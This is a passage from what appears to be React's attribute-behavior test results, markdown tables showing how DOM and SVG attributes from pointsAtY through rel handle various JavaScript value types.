`pointsAtY=(symbol)`| (initial, warning)| `<number: 0>` |\n| `pointsAtY=(function)`| (initial, warning)| `<number: 0>` |\n| `pointsAtY=(null)`| (initial)| `<number: 0>` |\n| `pointsAtY=(undefined)`| (initial)| `<number: 0>` |\n\n## `pointsAtZ` (on `<feSpotLight>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `pointsAtZ=(string)`| (initial)| `<number: 0>` |\n| `pointsAtZ=(empty string)`| (initial)| `<number: 0>` |\n| `pointsAtZ=(array with string)`| (initial)| `<number: 0>` |\n| `pointsAtZ=(empty array)`| (initial)| `<number: 0>` |\n| `pointsAtZ=(object)`| (initial)| `<number: 0>` |\n| `pointsAtZ=(numeric string)`| (changed)| `<number: 42>` |\n| `pointsAtZ=(-1)`| (changed)| `<number: -1>` |\n| `pointsAtZ=(0)`| (initial)| `<number: 0>` |\n| `pointsAtZ=(integer)`| (changed)| `<number: 1>` |\n| `pointsAtZ=(NaN)`| (initial, warning)| `<number: 0>` |\n| `pointsAtZ=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `pointsAtZ=(true)`| (initial, warning)| `<number: 0>` |\n| `pointsAtZ=(false)`| (initial, warning)| `<number: 0>` |\n| `pointsAtZ=(string 'true')`| (initial)| `<number: 0>` |\n| `pointsAtZ=(string 'false')`| (initial)| `<number: 0>` |\n| `pointsAtZ=(string 'on')`| (initial)| `<number: 0>` |\n| `pointsAtZ=(string 'off')`| (initial)| `<number: 0>` |\n| `pointsAtZ=(symbol)`| (initial, warning)| `<number: 0>` |\n| `pointsAtZ=(function)`| (initial, warning)| `<number: 0>` |\n| `pointsAtZ=(null)`| (initial)| `<number: 0>` |\n| `pointsAtZ=(undefined)`| (initial)| `<number: 0>` |\n\n## `popover` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `popover=(string)`| (changed)| `\"manual\"` |\n| `popover=(empty string)`| (changed)| `\"auto\"` |\n| `popover=(array with string)`| (changed)| `\"manual\"` |\n| `popover=(empty array)`| (changed)| `\"auto\"` |\n| `popover=(object)`| (changed)| `\"manual\"` |\n| `popover=(numeric string)`| (changed)| `\"manual\"` |\n| `popover=(-1)`| (changed)| `\"manual\"` |\n| `popover=(0)`| (changed)| `\"manual\"` |\n| `popover=(integer)`| (changed)| `\"manual\"` |\n| `popover=(NaN)`| (changed, warning)| `\"manual\"` |\n| `popover=(float)`| (changed)| `\"manual\"` |\n| `popover=(true)`| (initial, warning)| `<null>` |\n| `popover=(false)`| (initial, warning)| `<null>` |\n| `popover=(string 'true')`| (changed)| `\"manual\"` |\n| `popover=(string 'false')`| (changed)| `\"manual\"` |\n| `popover=(string 'on')`| (changed)| `\"manual\"` |\n| `popover=(string 'off')`| (changed)| `\"manual\"` |\n| `popover=(symbol)`| (initial, warning)| `<null>` |\n| `popover=(function)`| (initial, warning)| `<null>` |\n| `popover=(null)`| (initial)| `<null>` |\n| `popover=(undefined)`| (initial)| `<null>` |\n\n## `popoverTarget` (on `<button>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `popoverTarget=(string)`| (changed)| `<HTMLDivElement>` |\n| `popoverTarget=(empty string)`| (initial)| `<null>` |\n| `popoverTarget=(array with string)`| (changed, warning, ssr warning)| `<HTMLDivElement>` |\n| `popoverTarget=(empty array)`| (initial, warning, ssr warning)| `<null>` |\n| `popoverTarget=(object)`| (initial, warning, ssr warning)| `<null>` |\n| `popoverTarget=(numeric string)`| (initial)| `<null>` |\n| `popoverTarget=(-1)`| (initial)| `<null>` |\n| `popoverTarget=(0)`| (initial)| `<null>` |\n| `popoverTarget=(integer)`| (initial)| `<null>` |\n| `popoverTarget=(NaN)`| (initial, warning)| `<null>` |\n| `popoverTarget=(float)`| (initial)| `<null>` |\n| `popoverTarget=(true)`| (initial, warning)| `<null>` |\n| `popoverTarget=(false)`| (initial, warning)| `<null>` |\n| `popoverTarget=(string 'true')`| (initial)| `<null>` |\n| `popoverTarget=(string 'false')`| (initial)| `<null>` |\n| `popoverTarget=(string 'on')`| (initial)| `<null>` |\n| `popoverTarget=(string 'off')`| (initial)| `<null>` |\n| `popoverTarget=(symbol)`| (initial, warning)| `<null>` |\n| `popoverTarget=(function)`| (initial, warning)| `<null>` |\n| `popoverTarget=(null)`| (initial)| `<null>` |\n| `popoverTarget=(undefined)`| (initial)| `<null>` |\n\n## `popoverTargetAction` (on `<button>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `popoverTargetAction=(string)`| (changed)| `\"show\"` |\n| `popoverTargetAction=(empty string)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(array with string)`| (changed)| `\"show\"` |\n| `popoverTargetAction=(empty array)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(object)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(numeric string)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(-1)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(0)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(integer)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(NaN)`| (initial, warning)| `\"toggle\"` |\n| `popoverTargetAction=(float)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(true)`| (initial, warning)| `\"toggle\"` |\n| `popoverTargetAction=(false)`| (initial, warning)| `\"toggle\"` |\n| `popoverTargetAction=(string 'true')`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(string 'false')`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(string 'on')`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(string 'off')`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(symbol)`| (initial, warning)| `\"toggle\"` |\n| `popoverTargetAction=(function)`| (initial, warning)| `\"toggle\"` |\n| `popoverTargetAction=(null)`| (initial)| `\"toggle\"` |\n| `popoverTargetAction=(undefined)`| (initial)| `\"toggle\"` |\n\n## `poster` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `poster=(string)`| (changed)| `\"https://reactjs.com/\"` |\n| `poster=(empty string)`| (changed)| `\"http://localhost:3000/\"` |\n| `poster=(array with string)`| (changed)| `\"https://reactjs.com/\"` |\n| `poster=(empty array)`| (changed)| `\"http://localhost:3000/\"` |\n| `poster=(object)`| (changed)| `\"http://localhost:3000/result%20of%20toString()\"` |\n| `poster=(numeric string)`| (changed)| `\"http://localhost:3000/42\"` |\n| `poster=(-1)`| (changed)| `\"http://localhost:3000/-1\"` |\n| `poster=(0)`| (changed)| `\"http://localhost:3000/0\"` |\n| `poster=(integer)`| (changed)| `\"http://localhost:3000/1\"` |\n| `poster=(NaN)`| (changed, warning)| `\"http://localhost:3000/NaN\"` |\n| `poster=(float)`| (changed)| `\"http://localhost:3000/99.99\"` |\n| `poster=(true)`| (initial, warning)| `<empty string>` |\n| `poster=(false)`| (initial, warning)| `<empty string>` |\n| `poster=(string 'true')`| (changed)| `\"http://localhost:3000/true\"` |\n| `poster=(string 'false')`| (changed)| `\"http://localhost:3000/false\"` |\n| `poster=(string 'on')`| (changed)| `\"http://localhost:3000/on\"` |\n| `poster=(string 'off')`| (changed)| `\"http://localhost:3000/off\"` |\n| `poster=(symbol)`| (initial, warning)| `<empty string>` |\n| `poster=(function)`| (initial, warning)| `<empty string>` |\n| `poster=(null)`| (initial)| `<empty string>` |\n| `poster=(undefined)`| (initial)| `<empty string>` |\n\n## `prefix` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `prefix=(string)`| (changed)| `\"a string\"` |\n| `prefix=(empty string)`| (changed)| `<empty string>` |\n| `prefix=(array with string)`| (changed)| `\"string\"` |\n| `prefix=(empty array)`| (changed)| `<empty string>` |\n| `prefix=(object)`| (changed)| `\"result of toString()\"` |\n| `prefix=(numeric string)`| (changed)| `\"42\"` |\n| `prefix=(-1)`| (changed)| `\"-1\"` |\n| `prefix=(0)`| (changed)| `\"0\"` |\n| `prefix=(integer)`| (changed)| `\"1\"` |\n| `prefix=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `prefix=(float)`| (changed)| `\"99.99\"` |\n| `prefix=(true)`| (initial, warning)| `<null>` |\n| `prefix=(false)`| (initial, warning)| `<null>` |\n| `prefix=(string 'true')`| (changed)| `\"true\"` |\n| `prefix=(string 'false')`| (changed)| `\"false\"` |\n| `prefix=(string 'on')`| (changed)| `\"on\"` |\n| `prefix=(string 'off')`| (changed)| `\"off\"` |\n| `prefix=(symbol)`| (initial, warning)| `<null>` |\n| `prefix=(function)`| (initial, warning)| `<null>` |\n| `prefix=(null)`| (initial)| `<null>` |\n| `prefix=(undefined)`| (initial)| `<null>` |\n\n## `preload` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `preload=(string)`| (changed)| `\"none\"` |\n| `preload=(empty string)`| (changed)| `\"auto\"` |\n| `preload=(array with string)`| (changed)| `\"none\"` |\n| `preload=(empty array)`| (changed)| `\"auto\"` |\n| `preload=(object)`| (initial)| `\"metadata\"` |\n| `preload=(numeric string)`| (initial)| `\"metadata\"` |\n| `preload=(-1)`| (initial)| `\"metadata\"` |\n| `preload=(0)`| (initial)| `\"metadata\"` |\n| `preload=(integer)`| (initial)| `\"metadata\"` |\n| `preload=(NaN)`| (initial, warning)| `\"metadata\"` |\n| `preload=(float)`| (initial)| `\"metadata\"` |\n| `preload=(true)`| (initial, warning)| `\"metadata\"` |\n| `preload=(false)`| (initial, warning)| `\"metadata\"` |\n| `preload=(string 'true')`| (initial)| `\"metadata\"` |\n| `preload=(string 'false')`| (initial)| `\"metadata\"` |\n| `preload=(string 'on')`| (initial)| `\"metadata\"` |\n| `preload=(string 'off')`| (initial)| `\"metadata\"` |\n| `preload=(symbol)`| (initial, warning)| `\"metadata\"` |\n| `preload=(function)`| (initial, warning)| `\"metadata\"` |\n| `preload=(null)`| (initial)| `\"metadata\"` |\n| `preload=(undefined)`| (initial)| `\"metadata\"` |\n\n## `preserveAlpha` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `preserveAlpha=(string)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(empty string)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(array with string)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(empty array)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(object)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(numeric string)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(-1)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(0)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(integer)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `preserveAlpha=(float)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(true)`| (changed)| `<boolean: true>` |\n| `preserveAlpha=(false)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(string 'true')`| (changed)| `<boolean: true>` |\n| `preserveAlpha=(string 'false')`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(string 'on')`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(string 'off')`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `preserveAlpha=(function)`| (initial, warning)| `<boolean: false>` |\n| `preserveAlpha=(null)`| (initial)| `<boolean: false>` |\n| `preserveAlpha=(undefined)`| (initial)| `<boolean: false>` |\n\n## `preserveAspectRatio` (on `<feImage>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `preserveAspectRatio=(string)`| (changed)| `<SVGPreserveAspectRatio: 2/2>` |\n| `preserveAspectRatio=(empty string)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(array with string)`| (changed)| `<SVGPreserveAspectRatio: 2/2>` |\n| `preserveAspectRatio=(empty array)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(object)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(numeric string)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(-1)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(0)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(integer)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(NaN)`| (initial, warning)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(float)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(true)`| (initial, warning)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(false)`| (initial, warning)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(string 'true')`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(string 'false')`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(string 'on')`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(string 'off')`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(symbol)`| (initial, warning)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(function)`| (initial, warning)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(null)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n| `preserveAspectRatio=(undefined)`| (initial)| `<SVGPreserveAspectRatio: 6/1>` |\n\n## `primitiveUnits` (on `<filter>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `primitiveUnits=(string)`| (changed)| `<number: 2>` |\n| `primitiveUnits=(empty string)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(array with string)`| (changed)| `<number: 2>` |\n| `primitiveUnits=(empty array)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(object)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(numeric string)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(-1)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(0)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(integer)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(NaN)`| (initial, warning)| `<number: 1>` |\n| `primitiveUnits=(float)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(true)`| (initial, warning)| `<number: 1>` |\n| `primitiveUnits=(false)`| (initial, warning)| `<number: 1>` |\n| `primitiveUnits=(string 'true')`| (initial)| `<number: 1>` |\n| `primitiveUnits=(string 'false')`| (initial)| `<number: 1>` |\n| `primitiveUnits=(string 'on')`| (initial)| `<number: 1>` |\n| `primitiveUnits=(string 'off')`| (initial)| `<number: 1>` |\n| `primitiveUnits=(symbol)`| (initial, warning)| `<number: 1>` |\n| `primitiveUnits=(function)`| (initial, warning)| `<number: 1>` |\n| `primitiveUnits=(null)`| (initial)| `<number: 1>` |\n| `primitiveUnits=(undefined)`| (initial)| `<number: 1>` |\n\n## `profile` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `profile=(string)`| (changed)| `\"a string\"` |\n| `profile=(empty string)`| (changed)| `<empty string>` |\n| `profile=(array with string)`| (changed)| `\"string\"` |\n| `profile=(empty array)`| (changed)| `<empty string>` |\n| `profile=(object)`| (changed)| `\"result of toString()\"` |\n| `profile=(numeric string)`| (changed)| `\"42\"` |\n| `profile=(-1)`| (changed)| `\"-1\"` |\n| `profile=(0)`| (changed)| `\"0\"` |\n| `profile=(integer)`| (changed)| `\"1\"` |\n| `profile=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `profile=(float)`| (changed)| `\"99.99\"` |\n| `profile=(true)`| (initial, warning)| `<null>` |\n| `profile=(false)`| (initial, warning)| `<null>` |\n| `profile=(string 'true')`| (changed)| `\"true\"` |\n| `profile=(string 'false')`| (changed)| `\"false\"` |\n| `profile=(string 'on')`| (changed)| `\"on\"` |\n| `profile=(string 'off')`| (changed)| `\"off\"` |\n| `profile=(symbol)`| (initial, warning)| `<null>` |\n| `profile=(function)`| (initial, warning)| `<null>` |\n| `profile=(null)`| (initial)| `<null>` |\n| `profile=(undefined)`| (initial)| `<null>` |\n\n## `property` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `property=(string)`| (changed)| `\"a string\"` |\n| `property=(empty string)`| (changed)| `<empty string>` |\n| `property=(array with string)`| (changed)| `\"string\"` |\n| `property=(empty array)`| (changed)| `<empty string>` |\n| `property=(object)`| (changed)| `\"result of toString()\"` |\n| `property=(numeric string)`| (changed)| `\"42\"` |\n| `property=(-1)`| (changed)| `\"-1\"` |\n| `property=(0)`| (changed)| `\"0\"` |\n| `property=(integer)`| (changed)| `\"1\"` |\n| `property=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `property=(float)`| (changed)| `\"99.99\"` |\n| `property=(true)`| (initial, warning)| `<null>` |\n| `property=(false)`| (initial, warning)| `<null>` |\n| `property=(string 'true')`| (changed)| `\"true\"` |\n| `property=(string 'false')`| (changed)| `\"false\"` |\n| `property=(string 'on')`| (changed)| `\"on\"` |\n| `property=(string 'off')`| (changed)| `\"off\"` |\n| `property=(symbol)`| (initial, warning)| `<null>` |\n| `property=(function)`| (initial, warning)| `<null>` |\n| `property=(null)`| (initial)| `<null>` |\n| `property=(undefined)`| (initial)| `<null>` |\n\n## `props` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `props=(string)`| (changed)| `\"a string\"` |\n| `props=(empty string)`| (changed)| `<empty string>` |\n| `props=(array with string)`| (changed)| `\"string\"` |\n| `props=(empty array)`| (changed)| `<empty string>` |\n| `props=(object)`| (changed)| `\"result of toString()\"` |\n| `props=(numeric string)`| (changed)| `\"42\"` |\n| `props=(-1)`| (changed)| `\"-1\"` |\n| `props=(0)`| (changed)| `\"0\"` |\n| `props=(integer)`| (changed)| `\"1\"` |\n| `props=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `props=(float)`| (changed)| `\"99.99\"` |\n| `props=(true)`| (initial, warning)| `<null>` |\n| `props=(false)`| (initial, warning)| `<null>` |\n| `props=(string 'true')`| (changed)| `\"true\"` |\n| `props=(string 'false')`| (changed)| `\"false\"` |\n| `props=(string 'on')`| (changed)| `\"on\"` |\n| `props=(string 'off')`| (changed)| `\"off\"` |\n| `props=(symbol)`| (initial, warning)| `<null>` |\n| `props=(function)`| (initial, warning)| `<null>` |\n| `props=(null)`| (initial)| `<null>` |\n| `props=(undefined)`| (initial)| `<null>` |\n\n## `r` (on `<circle>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `r=(string)`| (changed)| `<SVGLength: 10pt>` |\n| `r=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `r=(array with string)`| (changed)| `<SVGLength: 10pt>` |\n| `r=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `r=(object)`| (initial)| `<SVGLength: 0>` |\n| `r=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `r=(-1)`| (changed)| `<SVGLength: -1>` |\n| `r=(0)`| (initial)| `<SVGLength: 0>` |\n| `r=(integer)`| (changed)| `<SVGLength: 1>` |\n| `r=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `r=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `r=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `r=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `r=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `r=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `r=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `r=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `r=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `r=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `r=(null)`| (initial)| `<SVGLength: 0>` |\n| `r=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `radioGroup` (on `<command>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `radioGroup=(string)`| (changed)| `\"a string\"` |\n| `radioGroup=(empty string)`| (changed)| `<empty string>` |\n| `radioGroup=(array with string)`| (changed)| `\"string\"` |\n| `radioGroup=(empty array)`| (changed)| `<empty string>` |\n| `radioGroup=(object)`| (changed)| `\"result of toString()\"` |\n| `radioGroup=(numeric string)`| (changed)| `\"42\"` |\n| `radioGroup=(-1)`| (changed)| `\"-1\"` |\n| `radioGroup=(0)`| (changed)| `\"0\"` |\n| `radioGroup=(integer)`| (changed)| `\"1\"` |\n| `radioGroup=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `radioGroup=(float)`| (changed)| `\"99.99\"` |\n| `radioGroup=(true)`| (initial, warning)| `<null>` |\n| `radioGroup=(false)`| (initial, warning)| `<null>` |\n| `radioGroup=(string 'true')`| (changed)| `\"true\"` |\n| `radioGroup=(string 'false')`| (changed)| `\"false\"` |\n| `radioGroup=(string 'on')`| (changed)| `\"on\"` |\n| `radioGroup=(string 'off')`| (changed)| `\"off\"` |\n| `radioGroup=(symbol)`| (initial, warning)| `<null>` |\n| `radioGroup=(function)`| (initial, warning)| `<null>` |\n| `radioGroup=(null)`| (initial)| `<null>` |\n| `radioGroup=(undefined)`| (initial)| `<null>` |\n\n## `radius` (on `<feMorphology>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `radius=(string)`| (changed)| `\"a string\"` |\n| `radius=(empty string)`| (changed)| `<empty string>` |\n| `radius=(array with string)`| (changed)| `\"string\"` |\n| `radius=(empty array)`| (changed)| `<empty string>` |\n| `radius=(object)`| (changed)| `\"result of toString()\"` |\n| `radius=(numeric string)`| (changed)| `\"42\"` |\n| `radius=(-1)`| (changed)| `\"-1\"` |\n| `radius=(0)`| (changed)| `\"0\"` |\n| `radius=(integer)`| (changed)| `\"1\"` |\n| `radius=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `radius=(float)`| (changed)| `\"99.99\"` |\n| `radius=(true)`| (initial, warning)| `<null>` |\n| `radius=(false)`| (initial, warning)| `<null>` |\n| `radius=(string 'true')`| (changed)| `\"true\"` |\n| `radius=(string 'false')`| (changed)| `\"false\"` |\n| `radius=(string 'on')`| (changed)| `\"on\"` |\n| `radius=(string 'off')`| (changed)| `\"off\"` |\n| `radius=(symbol)`| (initial, warning)| `<null>` |\n| `radius=(function)`| (initial, warning)| `<null>` |\n| `radius=(null)`| (initial)| `<null>` |\n| `radius=(undefined)`| (initial)| `<null>` |\n\n## `readOnly` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `readOnly=(string)`| (changed)| `<boolean: true>` |\n| `readOnly=(empty string)`| (initial)| `<boolean: false>` |\n| `readOnly=(array with string)`| (changed)| `<boolean: true>` |\n| `readOnly=(empty array)`| (changed)| `<boolean: true>` |\n| `readOnly=(object)`| (changed)| `<boolean: true>` |\n| `readOnly=(numeric string)`| (changed)| `<boolean: true>` |\n| `readOnly=(-1)`| (changed)| `<boolean: true>` |\n| `readOnly=(0)`| (initial)| `<boolean: false>` |\n| `readOnly=(integer)`| (changed)| `<boolean: true>` |\n| `readOnly=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `readOnly=(float)`| (changed)| `<boolean: true>` |\n| `readOnly=(true)`| (changed)| `<boolean: true>` |\n| `readOnly=(false)`| (initial)| `<boolean: false>` |\n| `readOnly=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `readOnly=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `readOnly=(string 'on')`| (changed)| `<boolean: true>` |\n| `readOnly=(string 'off')`| (changed)| `<boolean: true>` |\n| `readOnly=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `readOnly=(function)`| (initial, warning)| `<boolean: false>` |\n| `readOnly=(null)`| (initial)| `<boolean: false>` |\n| `readOnly=(undefined)`| (initial)| `<boolean: false>` |\n\n## `referrerPolicy` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `referrerPolicy=(string)`| (initial)| `<empty string>` |\n| `referrerPolicy=(empty string)`| (initial)| `<empty string>` |\n| `referrerPolicy=(array with string)`| (initial)| `<empty string>` |\n| `referrerPolicy=(empty array)`| (initial)| `<empty string>` |\n| `referrerPolicy=(object)`| (initial)| `<empty string>` |\n| `referrerPolicy=(numeric string)`| (initial)| `<empty string>` |\n| `referrerPolicy=(-1)`| (initial)| `<empty string>` |\n| `referrerPolicy=(0)`| (initial)| `<empty string>` |\n| `referrerPolicy=(integer)`| (initial)| `<empty string>` |\n| `referrerPolicy=(NaN)`| (initial, warning)| `<empty string>` |\n| `referrerPolicy=(float)`| (initial)| `<empty string>` |\n| `referrerPolicy=(true)`| (initial, warning)| `<empty string>` |\n| `referrerPolicy=(false)`| (initial, warning)| `<empty string>` |\n| `referrerPolicy=(string 'true')`| (initial)| `<empty string>` |\n| `referrerPolicy=(string 'false')`| (initial)| `<empty string>` |\n| `referrerPolicy=(string 'on')`| (initial)| `<empty string>` |\n| `referrerPolicy=(string 'off')`| (initial)| `<empty string>` |\n| `referrerPolicy=(symbol)`| (initial, warning)| `<empty string>` |\n| `referrerPolicy=(function)`| (initial, warning)| `<empty string>` |\n| `referrerPolicy=(null)`| (initial)| `<empty string>` |\n| `referrerPolicy=(undefined)`| (initial)| `<empty string>` |\n\n## `refX` (on `<marker>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `refX=(string)`| (changed)| `<SVGLength: 5em>` |\n| `refX=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `refX=(array with string)`| (changed)| `<SVGLength: 5em>` |\n| `refX=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `refX=(object)`| (initial)| `<SVGLength: 0>` |\n| `refX=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `refX=(-1)`| (changed)| `<SVGLength: -1>` |\n| `refX=(0)`| (initial)| `<SVGLength: 0>` |\n| `refX=(integer)`| (changed)| `<SVGLength: 1>` |\n| `refX=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `refX=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `refX=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `refX=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `refX=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `refX=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `refX=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `refX=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `refX=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `refX=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `refX=(null)`| (initial)| `<SVGLength: 0>` |\n| `refX=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `refY` (on `<marker>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `refY=(string)`| (changed)| `<SVGLength: 6em>` |\n| `refY=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `refY=(array with string)`| (changed)| `<SVGLength: 6em>` |\n| `refY=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `refY=(object)`| (initial)| `<SVGLength: 0>` |\n| `refY=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `refY=(-1)`| (changed)| `<SVGLength: -1>` |\n| `refY=(0)`| (initial)| `<SVGLength: 0>` |\n| `refY=(integer)`| (changed)| `<SVGLength: 1>` |\n| `refY=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `refY=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `refY=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `refY=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `refY=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `refY=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `refY=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `refY=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `refY=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `refY=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `refY=(null)`| (initial)| `<SVGLength: 0>` |\n| `refY=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `rel` (on `<a>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `rel=(string)`| (changed)| `\"a string\"` |\n| `rel=(empty string)`| (initial)| `<empty string>` |\n| `rel=(array with string)`| (changed)| `\"string\"` |\n| `rel=(empty array)`| (initial)| `<empty string>` |\n| `rel=(object)`| (changed)| `\"result of toString()\"` |\n| `rel=(numeric string)`| (changed)| `\"42\"` |\n| `rel=(-1)`| (changed)| `\"-1\"` |\n| `rel=(0)`| (changed)| `\"0\"` |\n| `rel=(integer)`| (changed)| `\"1\"` |\n| `rel=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `rel=(float)`| (changed)| `\"99.99\"` |\n| `rel=(true)`| (initial, warning)| `<empty string>` |\n| `rel=(false)`| (initial, warning)| `<empty string>` |\n| `rel=(string 'true')`| (changed)| `\"true\"` |\n| `rel=(string 'false')`| (changed)| `\"false\"` |\n| `rel=(string 'on')`| (changed)| `\"on\"` |\n| `rel=(string 'off')`| (changed)| `\"off\"` |\n| `rel=(symbol)`| (initial, warning)| `<empty string>` |\n| `rel=(function)`| (initial, warning)| `<empty string>` |\n| 